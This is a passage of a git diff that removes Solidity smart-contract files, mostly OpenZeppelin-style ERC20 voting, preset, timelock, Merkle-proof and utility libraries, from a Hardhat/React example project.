-     * @dev Get the address `account` is currently delegating to.
-     */
-    function delegates(address account) public view virtual returns (address) {
-        return _delegates[account];
-    }
-
-    /**
-     * @dev Gets the current votes balance for `account`
-     */
-    function getVotes(address account) public view returns (uint256) {
-        uint256 pos = _checkpoints[account].length;
-        return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
-    }
-
-    /**
-     * @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_checkpoints[account], blockNumber);
-    }
-
-    /**
-     * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
-     * It is but NOT the sum of all the delegated votes!
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
-    }
-
-    /**
-     * @dev Lookup a value in a list of (sorted) checkpoints.
-     */
-    function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
-        // We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
-        //
-        // During the loop, the index of the wanted checkpoint remains in the range [low, high).
-        // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
-        // - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
-        // - If the middle checkpoint is before `blockNumber`, we look in [mid+1, high)
-        // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
-        // out of bounds (in which case we're looking too far in the past and the result is 0).
-        // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
-        // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
-        // the same.
-        uint256 high = ckpts.length;
-        uint256 low = 0;
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-            if (ckpts[mid].fromBlock > blockNumber) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        return high == 0 ? 0 : ckpts[high - 1].votes;
-    }
-
-    /**
-     * @dev Delegate votes from the sender to `delegatee`.
-     */
-    function delegate(address delegatee) public virtual {
-        return _delegate(_msgSender(), delegatee);
-    }
-
-    /**
-     * @dev Delegates votes from signer to `delegatee`
-     */
-    function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s)
-        public virtual
-    {
-        require(block.timestamp <= expiry, "ERC20Votes: signature expired");
-        address signer = ECDSA.recover(
-            _hashTypedDataV4(keccak256(abi.encode(
-                _DELEGATION_TYPEHASH,
-                delegatee,
-                nonce,
-                expiry
-            ))),
-            v, r, s
-        );
-        require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
-        return _delegate(signer, delegatee);
-    }
-
-    /**
-     * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
-     */
-    function _maxSupply() internal view virtual returns (uint224) {
-        return type(uint224).max;
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been increased.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        super._mint(account, amount);
-        require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
-
-        _writeCheckpoint(_totalSupplyCheckpoints, add, amount);
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been decreased.
-     */
-    function _burn(address account, uint256 amount) internal virtual override {
-        super._burn(account, amount);
-
-        _writeCheckpoint(_totalSupplyCheckpoints, subtract, amount);
-    }
-
-    /**
-     * @dev Move voting power when tokens are transferred.
-     *
-     * Emits a {DelegateVotesChanged} event.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        _moveVotingPower(delegates(from), delegates(to), amount);
-    }
-
-    /**
-     * @dev Change delegation for `delegator` to `delegatee`.
-     *
-     * Emits events {DelegateChanged} and {DelegateVotesChanged}.
-     */
-    function _delegate(address delegator, address delegatee) internal virtual {
-        address currentDelegate = delegates(delegator);
-        uint256 delegatorBalance = balanceOf(delegator);
-        _delegates[delegator] = delegatee;
-
-        emit DelegateChanged(delegator, currentDelegate, delegatee);
-
-        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);
-    }
-
-    function _moveVotingPower(address src, address dst, uint256 amount) private {
-        if (src != dst && amount > 0) {
-            if (src != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], subtract, amount);
-                emit DelegateVotesChanged(src, oldWeight, newWeight);
-            }
-
-            if (dst != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], add, amount);
-                emit DelegateVotesChanged(dst, oldWeight, newWeight);
-            }
-        }
-    }
-
-    function _writeCheckpoint(
-        Checkpoint[] storage ckpts,
-        function (uint256, uint256) view returns (uint256) op,
-        uint256 delta
-    )
-        private returns (uint256 oldWeight, uint256 newWeight)
-    {
-        uint256 pos = ckpts.length;
-        oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
-        newWeight = op(oldWeight, delta);
-
-        if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
-            ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
-        } else {
-            ckpts.push(Checkpoint({
-                fromBlock: SafeCast.toUint32(block.number),
-                votes: SafeCast.toUint224(newWeight)
-            }));
-        }
-    }
-
-    function add(uint256 a, uint256 b) private pure returns (uint256) {
-        return a + b;
-    }
-
-    function subtract(uint256 a, uint256 b) private pure returns (uint256) {
-        return a - b;
-    }
-}
-
-
-// File contracts/extensions/ERC20VotesComp.sol
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
- * interface, with the drawback of only supporting supply up to (2^96^ - 1).
- *
- * NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
- * with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
- * {ERC20Votes} variant of this module.
- *
- * This extensions keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20VotesComp is ERC20Votes {
-    /**
-     * @dev Comp version of the {getVotes} accessor, with `uint96` return type.
-     */
-    function getCurrentVotes(address account) external view returns (uint96) {
-        return SafeCast.toUint96(getVotes(account));
-    }
-    /**
-     * @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
-     */
-    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
-        return SafeCast.toUint96(getPastVotes(account, blockNumber));
-    }
-
-    /**
-     * @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
-     */
-    function _maxSupply() internal view virtual override returns (uint224) {
-        return type(uint96).max;
-    }
-}
-
-
-// File contracts/presets/ERC20PresetFixedSupply.sol
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - Preminted initial supply
- *  - Ability for holders to burn (destroy) their tokens
- *  - No access control mechanism (for minting/pausing) and hence no governance
- *
- * This contract uses {ERC20Burnable} to include burn capabilities - head to
- * its documentation for details.
- *
- * _Available since v3.4._
- */
-contract ERC20PresetFixedSupply is ERC20Burnable {
-    /**
-     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(
-        string memory name,
-        string memory symbol,
-        uint256 initialSupply,
-        address owner
-    ) ERC20(name, symbol) {
-        _mint(owner, initialSupply);
-    }
-}
-
-// File contracts/utils/Address.sol
-
-/**
- * @dev Collection of functions related to the address type
- */
-library Address {
-    /**
-     * @dev Returns true if `account` is a contract.
-     *
-     * [IMPORTANT]
-     * ====
-     * It is unsafe to assume that an address for which this function returns
-     * false is an externally-owned account (EOA) and not a contract.
-     *
-     * Among others, `isContract` will return false for the following
-     * types of addresses:
-     *
-     *  - an externally-owned account
-     *  - a contract in construction
-     *  - an address where a contract will be created
-     *  - an address where a contract lived, but was destroyed
-     * ====
-     */
-    function isContract(address account) internal view returns (bool) {
-        // This method relies on extcodesize, which returns 0 for contracts in
-        // construction, since the code is only stored at the end of the
-        // constructor execution.
-
-        uint256 size;
-        // solhint-disable-next-line no-inline-assembly
-        assembly { size := extcodesize(account) }
-        return size > 0;
-    }
-
-    /**
-     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
-     * `recipient`, forwarding all available gas and reverting on errors.
-     *
-     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
-     * of certain opcodes, possibly making contracts go over the 2300 gas limit
-     * imposed by `transfer`, making them unable to receive funds via
-     * `transfer`. {sendValue} removes this limitation.
-     *
-     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
-     *
-     * IMPORTANT: because control is transferred to `recipient`, care must be
-     * taken to not create reentrancy vulnerabilities. Consider using
-     * {ReentrancyGuard} or the
-     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
-     */
-    function sendValue(address payable recipient, uint256 amount) internal {
-        require(address(this).balance >= amount, "Address: insufficient balance");
-
-        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
-        (bool success, ) = recipient.call{ value: amount }("");
-        require(success, "Address: unable to send value, recipient may have reverted");
-    }
-
-    /**
-     * @dev Performs a Solidity function call using a low level `call`. A
-     * plain`call` is an unsafe replacement for a function call: use this
-     * function instead.
-     *
-     * If `target` reverts with a revert reason, it is bubbled up by this
-     * function (like regular Solidity function calls).
-     *
-     * Returns the raw returned data. To convert to the expected return value,
-     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
-     *
-     * Requirements:
-     *
-     * - `target` must be a contract.
-     * - calling `target` with `data` must not revert.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
-      return functionCall(target, data, "Address: low-level call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
-     * `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, 0, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but also transferring `value` wei to `target`.
-     *
-     * Requirements:
-     *
-     * - the calling contract must have an ETH balance of at least `value`.
-     * - the called Solidity function must be `payable`.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
-     * with `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
-        require(address(this).balance >= value, "Address: insufficient balance for call");
-        require(isContract(target), "Address: call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.call{ value: value }(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
-        return functionStaticCall(target, data, "Address: low-level static call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
-        require(isContract(target), "Address: static call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.staticcall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
-        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        require(isContract(target), "Address: delegate call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.delegatecall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
-        if (success) {
-            return returndata;
-        } else {
-            // Look for revert reason and bubble it up if present
-            if (returndata.length > 0) {
-                // The easiest way to bubble the revert reason is using memory via assembly
-
-                // solhint-disable-next-line no-inline-assembly
-                assembly {
-                    let returndata_size := mload(returndata)
-                    revert(add(32, returndata), returndata_size)
-                }
-            } else {
-                revert(errorMessage);
-            }
-        }
-    }
-}
-
-
-// File contracts/utils/SafeERC20.sol
-
-
-
-
-
-
-/**
- * @title SafeERC20
- * @dev Wrappers around ERC20 operations that throw on failure (when the token
- * contract returns false). Tokens that return no value (and instead revert or
- * throw on failure) are also supported, non-reverting calls are assumed to be
- * successful.
- * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
- * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
- */
-library SafeERC20 {
-    using Address for address;
-
-    function safeTransfer(IERC20 token, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
-    }
-
-    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
-    }
-
-    /**
-     * @dev Deprecated. This function has issues similar to the ones found in
-     * {IERC20-approve}, and its usage is discouraged.
-     *
-     * Whenever possible, use {safeIncreaseAllowance} and
-     * {safeDecreaseAllowance} instead.
-     */
-    function safeApprove(IERC20 token, address spender, uint256 value) internal {
-        // safeApprove should only be called when setting an initial allowance,
-        // or when resetting it to zero. To increase and decrease it, use
-        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
-        // solhint-disable-next-line max-line-length
-        require((value == 0) || (token.allowance(address(this), spender) == 0),
-            "SafeERC20: approve from non-zero to non-zero allowance"
-        );
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
-    }
-
-    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        uint256 newAllowance = token.allowance(address(this), spender) + value;
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-    }
-
-    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        unchecked {
-            uint256 oldAllowance = token.allowance(address(this), spender);
-            require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
-            uint256 newAllowance = oldAllowance - value;
-            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-        }
-    }
-
-    /**
-     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
-     * on the return value: the return value is optional (but if data is returned, it must not be false).
-     * @param token The token targeted by the call.
-     * @param data The call data (encoded using abi.encode or one of its variants).
-     */
-    function _callOptionalReturn(IERC20 token, bytes memory data) private {
-        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
-        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
-        // the target address contains contract code and also asserts for success in the low-level call.
-
-        bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
-        if (returndata.length > 0) { // Return data is optional
-            // solhint-disable-next-line max-line-length
-            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
-        }
-    }
-}
-
-
-// File contracts/utils/TokenTimelock.sol
-
-
-
-
-
-/**
- * @dev A token holder contract that will allow a beneficiary to extract the
- * tokens after a given release time.
- *
- * Useful for simple vesting schedules like "advisors get all of their tokens
- * after 1 year".
- */
-contract TokenTimelock {
-    using SafeERC20 for IERC20;
-
-    // ERC20 basic token contract being held
-    IERC20 immutable private _token;
-
-    // beneficiary of tokens after they are released
-    address immutable private _beneficiary;
-
-    // timestamp when token release is enabled
-    uint256 immutable private _releaseTime;
-
-    constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
-        // solhint-disable-next-line not-rely-on-time
-        require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
-        _token = token_;
-        _beneficiary = beneficiary_;
-        _releaseTime = releaseTime_;
-    }
-
-    /**
-     * @return the token being held.
-     */
-    function token() public view virtual returns (IERC20) {
-        return _token;
-    }
-
-    /**
-     * @return the beneficiary of the tokens.
-     */
-    function beneficiary() public view virtual returns (address) {
-        return _beneficiary;
-    }
-
-    /**
-     * @return the time when the tokens are released.
-     */
-    function releaseTime() public view virtual returns (uint256) {
-        return _releaseTime;
-    }
-
-    /**
-     * @notice Transfers tokens held by timelock to beneficiary.
-     */
-    function release() public virtual {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
-
-        uint256 amount = token().balanceOf(address(this));
-        require(amount > 0, "TokenTimelock: no tokens to release");
-
-        token().safeTransfer(beneficiary(), amount);
-    }
-}
-
-
-// File contracts/utils/cryptography/MerkleProof.sol
-
-
-
-
-
-/**
- * @dev These functions deal with verification of Merkle Trees proofs.
- *
- * The proofs can be generated using the JavaScript library
- * https://github.com/miguelmota/merkletreejs[merkletreejs].
- * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
- *
- * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
- */
-library MerkleProof {
-    /**
-     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
-     * defined by `root`. For this, a `proof` must be provided, containing
-     * sibling hashes on the branch from the leaf to the root of the tree. Each
-     * pair of leaves and each pair of pre-images are assumed to be sorted.
-     */
-    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
-        bytes32 computedHash = leaf;
-
-        for (uint256 i = 0; i < proof.length; i++) {
-            bytes32 proofElement = proof[i];
-
-            if (computedHash <= proofElement) {
-                // Hash(current computed hash + current element of the proof)
-                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
-            } else {
-                // Hash(current element of the proof + current computed hash)
-                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
-            }
-        }
-
-        // Check if the computed hash (root) is equal to the provided root
-        return computedHash == root;
-    }
-}
-
-
-// File contracts/presets/ERC20PresetMinterPauser.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - ability for holders to burn (destroy) their tokens
- *  - a minter role that allows for token minting (creation)
- *  - a pauser role that allows to stop all token transfers
- *
- * This contract uses {AccessControl} to lock permissioned functions using the
- * different roles - head to its documentation for details.
- *
- * The account that deploys the contract will be granted the minter and pauser
- * roles, as well as the default admin role, which will let it grant both minter
- * and pauser roles to other accounts.
- */
-contract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {
-    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
-    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
-
-    /**
-     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
-     * account that deploys the contract.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
-    _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
-
-    _setupRole(MINTER_ROLE, _msgSender());
-    _setupRole(PAUSER_ROLE, _msgSender());
-    }
-
-    /**
-     * @dev Creates `amount` new tokens for `to`.
-     *
-     * See {ERC20-_mint}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `MINTER_ROLE`.
-     */
-    function mint(address to, uint256 amount) public virtual {
-    require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
-    _mint(to, amount);
-    }
-
-    /**
-     * @dev Pauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_pause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function pause() public virtual {
-    require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
-    _pause();
-    }
-
-    /**
-     * @dev Unpauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_unpause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function unpause() public virtual {
-    require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
-    _unpause();
-    }
-
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) {
-    super._beforeTokenTransfer(from, to, amount);
-    }
-}
-
-
-
-contract SimpleToken is ERC20PresetMinterPauser {
-
-    /**
-     * @dev Constructor that gives msg.sender all of existing tokens.
-     */
-
-    uint8 private _decimals;
-    uint256 public  INITIAL_SUPPLY = 10000 * (10 ** uint256(18));
-
-
-    function decimals() public view  override returns (uint8) {
-    return _decimals;
-    }
-
-    constructor(string memory name, string memory symbol, uint8  decimals, uint256  initial_supply) public  ERC20PresetMinterPauser(name, symbol){
-    _decimals = decimals;
-    INITIAL_SUPPLY = initial_supply * (10 ** uint256(decimals)) ;
-    _mint(msg.sender, INITIAL_SUPPLY);
-    }
-
-}
diff --git a/Example09-hardhat-react/contracts/presets/ERC20PresetFixedSupply.sol b/Example09-hardhat-react/contracts/presets/ERC20PresetFixedSupply.sol
deleted file mode 100644
index 4aa0ebf48..000000000
--- a/Example09-hardhat-react/contracts/presets/ERC20PresetFixedSupply.sol
+++ /dev/null
@@ -1,32 +0,0 @@
-// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.0;
-
-import "../extensions/ERC20Burnable.sol";
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - Preminted initial supply
- *  - Ability for holders to burn (destroy) their tokens
- *  - No access control mechanism (for minting/pausing) and hence no governance
- *
- * This contract uses {ERC20Burnable} to include burn capabilities - head to
- * its documentation for details.
- *
- * _Available since v3.4._
- */
-contract ERC20PresetFixedSupply is ERC20Burnable {
-    /**
-     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(
-        string memory name,
-        string memory symbol,
-        uint256 initialSupply,
-        address owner
-    ) ERC20(name, symbol) {
-        _mint(owner, initialSupply);
-    }
-}
diff --git a/Example09-hardhat-react/contracts/presets/ERC20PresetMinterPauser.sol b/Example09-hardhat-react/contracts/presets/ERC20PresetMinterPauser.sol
deleted file mode 100644
index a68eac0d7..000000000
--- a/Example09-hardhat-react/contracts/presets/ERC20PresetMinterPauser.sol
+++ /dev/null
@@ -1,87 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "../ERC20.sol";
-import "../extensions/ERC20Burnable.sol";
-import "../extensions/ERC20Pausable.sol";
-import "../extensions/AccessControlEnumerable.sol";
-import "../utils/Context.sol";
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - ability for holders to burn (destroy) their tokens
- *  - a minter role that allows for token minting (creation)
- *  - a pauser role that allows to stop all token transfers
- *
- * This contract uses {AccessControl} to lock permissioned functions using the
- * different roles - head to its documentation for details.
- *
- * The account that deploys the contract will be granted the minter and pauser
- * roles, as well as the default admin role, which will let it grant both minter
- * and pauser roles to other accounts.
- */
-contract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {
-    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
-    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
-
-    /**
-     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
-     * account that deploys the contract.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
-        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
-
-        _setupRole(MINTER_ROLE, _msgSender());
-        _setupRole(PAUSER_ROLE, _msgSender());
-    }
-
-    /**
-     * @dev Creates `amount` new tokens for `to`.
-     *
-     * See {ERC20-_mint}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `MINTER_ROLE`.
-     */
-    function mint(address to, uint256 amount) public virtual {
-        require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
-        _mint(to, amount);
-    }
-
-    /**
-     * @dev Pauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_pause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function pause() public virtual {
-        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
-        _pause();
-    }
-
-    /**
-     * @dev Unpauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_unpause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function unpause() public virtual {
-        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
-        _unpause();
-    }
-
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) {
-        super._beforeTokenTransfer(from, to, amount);
-    }
-}
diff --git a/Example09-hardhat-react/contracts/utils/Arrays.sol b/Example09-hardhat-react/contracts/utils/Arrays.sol
deleted file mode 100644
index 72c2c497d..000000000
--- a/Example09-hardhat-react/contracts/utils/Arrays.sol
+++ /dev/null
@@ -1,47 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-import "./Math.sol";
-
-/**
- * @dev Collection of functions related to array types.
- */
-library Arrays {
-   /**
-     * @dev Searches a sorted `array` and returns the first index that contains
-     * a value greater or equal to `element`. If no such index exists (i.e. all
-     * values in the array are strictly less than `element`), the array length is
-     * returned. Time complexity O(log n).
-     *
-     * `array` is expected to be sorted in ascending order, and to contain no
-     * repeated elements.
-     */
-    function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
-        if (array.length == 0) {
-            return 0;
-        }
-
-        uint256 low = 0;
-        uint256 high = array.length;
-
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-
-            // Note that mid will always be strictly less than high (i.e. it will be a valid array index)
-            // because Math.average rounds down (it does integer division with truncation).
-            if (array[mid] > element) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
-        if (low > 0 && array[low - 1] == element) {
-            return low - 1;
-        } else {
-            return low;
-        }
-    }
-}
diff --git a/Example09-hardhat-react/contracts/utils/Math.sol b/Example09-hardhat-react/contracts/utils/Math.sol
deleted file mode 100644
index 3979e0e1e..000000000
--- a/Example09-hardhat-react/contracts/utils/Math.sol
+++ /dev/null
@@ -1,42 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Standard math utilities missing in the Solidity language.
- */
-library Math {
-    /**
-     * @dev Returns the largest of two numbers.
-     */
-    function max(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a >= b ? a : b;
-    }
-
-    /**
-     * @dev Returns the smallest of two numbers.
-     */
-    function min(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a < b ? a : b;
-    }
-
-    /**
-     * @dev Returns the average of two numbers. The result is rounded towards
-     * zero.
-     */
-    function average(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b) / 2 can overflow, so we distribute.
-        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
-    }
-
-    /**
-     * @dev Returns the ceiling of the division of two numbers.
-     *
-     * This differs from standard division with `/` in that it rounds up instead
-     * of rounding down.
-     */
-    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b - 1) / b can overflow on addition, so we distribute.
-        return a / b + (a % b == 0 ? 0 : 1);
-    }
-}
diff --git a/Example09-hardhat-react/contracts/utils/SafeCast.sol b/Example09-hardhat-react/contracts/utils/SafeCast.sol
deleted file mode 100644
index 42e6ff338..000000000
--- a/Example09-hardhat-react/contracts/utils/SafeCast.sol
+++ /dev/null
@@ -1,240 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
- * checks.
- *
- * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
- * easily result in undesired exploitation or bugs, since developers usually
- * assume that overflows raise errors. `SafeCast` restores this intuition by
- * reverting the transaction when such an operation overflows.
- *
- * Using this library instead of the unchecked operations eliminates an entire
- * class of bugs, so it's recommended to use it always.
